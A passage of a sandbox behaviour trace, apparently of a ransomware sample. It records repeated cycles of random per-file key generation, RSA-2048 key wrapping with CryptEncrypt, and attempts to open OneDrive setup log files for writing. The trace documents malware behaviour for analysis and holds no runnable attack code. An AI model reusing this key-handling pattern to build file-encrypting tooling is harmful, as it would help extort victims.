(hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.358] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0172.369] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x658240) returned 1 [0172.369] CryptGetKeyParam (in: hKey=0x658240, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.369] CryptEncrypt (in: hKey=0x658240, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x33f0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x33f0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0172.369] GetLastError () returned 0x0 [0172.369] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.369] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_121121_d68-ddc.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_121121_d68-ddc.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.369] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0172.373] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.373] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.373] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0172.373] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.373] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0172.377] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.377] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.377] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0172.377] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.377] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0172.387] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x658280) returned 1 [0172.388] CryptGetKeyParam (in: hKey=0x658280, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.388] CryptEncrypt (in: hKey=0x658280, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3400000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3400000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0172.388] GetLastError () returned 0x0 [0172.388] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.388] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0172.399] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x658300) returned 1 [0172.399] CryptGetKeyParam (in: hKey=0x658300, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.399] CryptEncrypt (in: hKey=0x658300, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3410000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3410000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0172.399] GetLastError () returned 0x0 [0172.399] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.399] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_123817_760-808.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_123817_760-808.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.399] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0172.404] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.404] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.404] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0172.404] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.404] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0172.408] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.408] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.408] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0172.408] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.408] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0172.419] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x658400) returned 1 [0172.419] CryptGetKeyParam (in: hKey=0x658400, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.419] CryptEncrypt (in: hKey=0x658400, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3420000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3420000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0172.419] GetLastError () returned 0x0 [0172.419] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.419] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0172.430] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657a40) returned 1 [0172.430] CryptGetKeyParam (in: hKey=0x657a40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.430] CryptEncrypt (in: hKey=0x657a40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3430000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3430000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0172.430] GetLastError () returned 0x0 [0172.430] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0172.430] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_123818_e38-824.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_123818_e38-824.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.430] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0172.434] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.434] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.434] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0172.434] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.434] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0172.437] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.438] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.438] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0172.438] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.438] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0172.448] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657dc0) returned 1 [0172.448] CryptGetKeyParam (in: hKey=0x657dc0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.448] CryptEncrypt (in: hKey=0x657dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3440000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3440000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0172.448] GetLastError () returned 0x0 [0172.448] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0172.448] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0172.458] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657e80) returned 1 [0172.458] CryptGetKeyParam (in: hKey=0x657e80, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.458] CryptEncrypt (in: hKey=0x657e80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3450000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3450000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0172.459] GetLastError () returned 0x0 [0172.459] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.459] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_133220_864-704.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_133220_864-704.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.459] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0172.462] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.462] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.462] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0172.462] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.462] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0172.466] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.466] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.466] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0172.466] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.466] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0172.476] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657940) returned 1 [0172.476] CryptGetKeyParam (in: hKey=0x657940, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.476] CryptEncrypt (in: hKey=0x657940, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3460000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3460000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0172.477] GetLastError () returned 0x0 [0172.477] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.477] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0172.493] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657cc0) returned 1 [0172.493] CryptGetKeyParam (in: hKey=0x657cc0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.493] CryptEncrypt (in: hKey=0x657cc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3470000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3470000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0172.493] GetLastError () returned 0x0 [0172.494] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.494] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_133220_ae0-29c.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_133220_ae0-29c.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.494] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0172.497] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.498] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.498] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0172.498] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0172.498] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0172.501] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.501] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.501] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0172.501] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.501] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0172.512] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657d40) returned 1 [0172.512] CryptGetKeyParam (in: hKey=0x657d40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.512] CryptEncrypt (in: hKey=0x657d40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3480000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3480000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0172.512] GetLastError () returned 0x0 [0172.512] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.512] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0172.522] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657980) returned 1 [0172.522] CryptGetKeyParam (in: hKey=0x657980, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.522] CryptEncrypt (in: hKey=0x657980, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3490000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3490000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0172.522] GetLastError () returned 0x0 [0172.522] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.522] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install-PerUser_2017-05-24_104601_b30-494.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install-peruser_2017-05-24_104601_b30-494.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.523] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0172.526] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.526] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.526] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0172.526] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.526] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0172.530] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.530] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.530] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0172.530] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0172.530] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0172.540] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657d00) returned 1 [0172.540] CryptGetKeyParam (in: hKey=0x657d00, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.540] CryptEncrypt (in: hKey=0x657d00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x34a0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x34a0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0172.540] GetLastError () returned 0x0 [0172.540] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.541] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0172.552] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6579c0) returned 1 [0172.552] CryptGetKeyParam (in: hKey=0x6579c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.552] CryptEncrypt (in: hKey=0x6579c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x34b0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x34b0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0172.552] GetLastError () returned 0x0 [0172.552] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.552] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install-PerUser_2017-07-12_164141_b14-7f0.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install-peruser_2017-07-12_164141_b14-7f0.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.552] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0172.556] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.556] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.556] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0172.556] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.556] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0172.560] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.560] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.560] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0172.560] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.560] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0172.571] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657d80) returned 1 [0172.571] CryptGetKeyParam (in: hKey=0x657d80, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.571] CryptEncrypt (in: hKey=0x657d80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x34c0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x34c0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0172.571] GetLastError () returned 0x0 [0172.571] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.571] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0172.590] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657a80) returned 1 [0172.590] CryptGetKeyParam (in: hKey=0x657a80, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.590] CryptEncrypt (in: hKey=0x657a80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x34d0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x34d0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0172.590] GetLastError () returned 0x0 [0172.590] 